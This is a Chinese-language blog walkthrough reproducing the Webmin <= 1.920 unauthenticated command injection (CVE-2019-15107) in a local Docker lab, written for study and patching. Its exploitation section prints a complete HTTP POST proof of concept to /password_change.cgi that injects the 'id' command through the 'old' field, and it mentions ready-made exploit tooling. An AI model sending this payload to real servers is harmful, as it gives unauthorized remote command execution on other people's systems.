漏洞描述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

受影响版本

Webmin  <= 1.920

环境搭建

这里我从vulfocus上拉的,比较方便,docker环境一步就搞定了

这里因为是启的docker,所以10000端口转发到了45643上:

这里访问https://192.168.10.131:45643试一下,根据自己的IP地址和端口适当做出修改:

这里在随手用goby扫一下:

漏洞利用

根据网上已经披露的信息,命令执行发生的地方是:

/password_change.cgi

这里访问此链接看看:

发现这里提示是外部URL,然后我们直接用网上的POC怼一下

`

POST /password_change.cgi HTTP/1.1
Host: 192.168.10.131:45643
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

user=123&pam=&expired=2&old=id&new1=test2&new2=test2

这里因为docker环境重启了一下,webadmin的端口改变了,操作的时候注意下就行,然后发一下构造好的poc:

可以发现这里成功的执行了我们发送的命令,并且回显:

当然这里也可以用集成的工具来利用这个漏洞,这里附一个github的CVE-2019-15107的检测脚本:
飞机直达

使用说明在github都有,并且也可用;

然后就是goby也可以直接利用:

写在最后

修复建议还是升级的自信的版本

最后修改:2020 年 10 月 27 日 04 : 06 PM